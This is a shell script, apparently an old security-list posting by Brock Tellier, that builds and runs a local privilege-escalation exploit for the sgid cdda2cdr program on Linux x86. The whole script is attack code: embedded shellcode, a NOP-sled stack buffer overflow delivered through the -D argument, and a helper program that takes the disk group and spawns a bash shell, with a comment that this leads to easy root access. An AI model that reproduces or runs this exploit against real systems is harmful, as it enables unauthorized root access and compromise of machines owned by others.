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- #! /bin/sh
- #
- # Shell script for Linux x86 cdda2cdr exploit
- # Brock Tellier btellier@usa.net
- #
-
- cat > /tmp/cdda2x.c <<EOF
-
- /**
- ** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros)
-
- ** gcc -o cdda2x cdda2x.c; cdda2x <offset> <bufsiz>
- **
- ** Brock Tellier btellier@usa.net
- **/
-
-
- #include <stdlib.h>
- #include <stdio.h>
-
- char exec[]= /* Generic Linux x86 running our /tmp program */
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/tmp/cd";
-
-
-
- #define LEN 500
- #define NOP 0x90
-
- unsigned long get_sp(void) {
-
- __asm__("movl %esp, %eax");
-
- }
-
-
- void main(int argc, char *argv[]) {
-
- int offset=0;
- int i;
- int buflen = LEN;
- long int addr;
- char buf[LEN];
-
- if(argc > 3) {
- fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
- exit(0);
- }
- else if (argc == 2){
- offset=atoi(argv[1]);
-
- }
- else if (argc == 3) {
- offset=atoi(argv[1]);
- buflen=atoi(argv[2]);
-
- }
- else {
- offset=500;
- buflen=500;
-
- }
-
-
- addr=get_sp();
-
- fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
- fprintf(stderr, "Brock Tellier btellier@usa.net\n");
- fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
-
- memset(buf,NOP,buflen);
- memcpy(buf+(buflen/2),exec,strlen(exec));
- for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
- *(int *)&buf[i]=addr+offset;
-
- execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);
-
-
- /*
- for (i=0; i < strlen(buf); i++) putchar(buf[i]);
- */
-
- }
-
- EOF
-
- cat > /tmp/cd.c <<EOF
- void main() {
- setregid(getegid(), getegid());
- system("/bin/bash");
- }
- EOF
-
- gcc -o /tmp/cd /tmp/cd.c
- gcc -o /tmp/cdda2x /tmp/cdda2x.c
- echo "Note that gid=6 leads to easy root access.."
- /tmp/cdda2x
-
-
-
-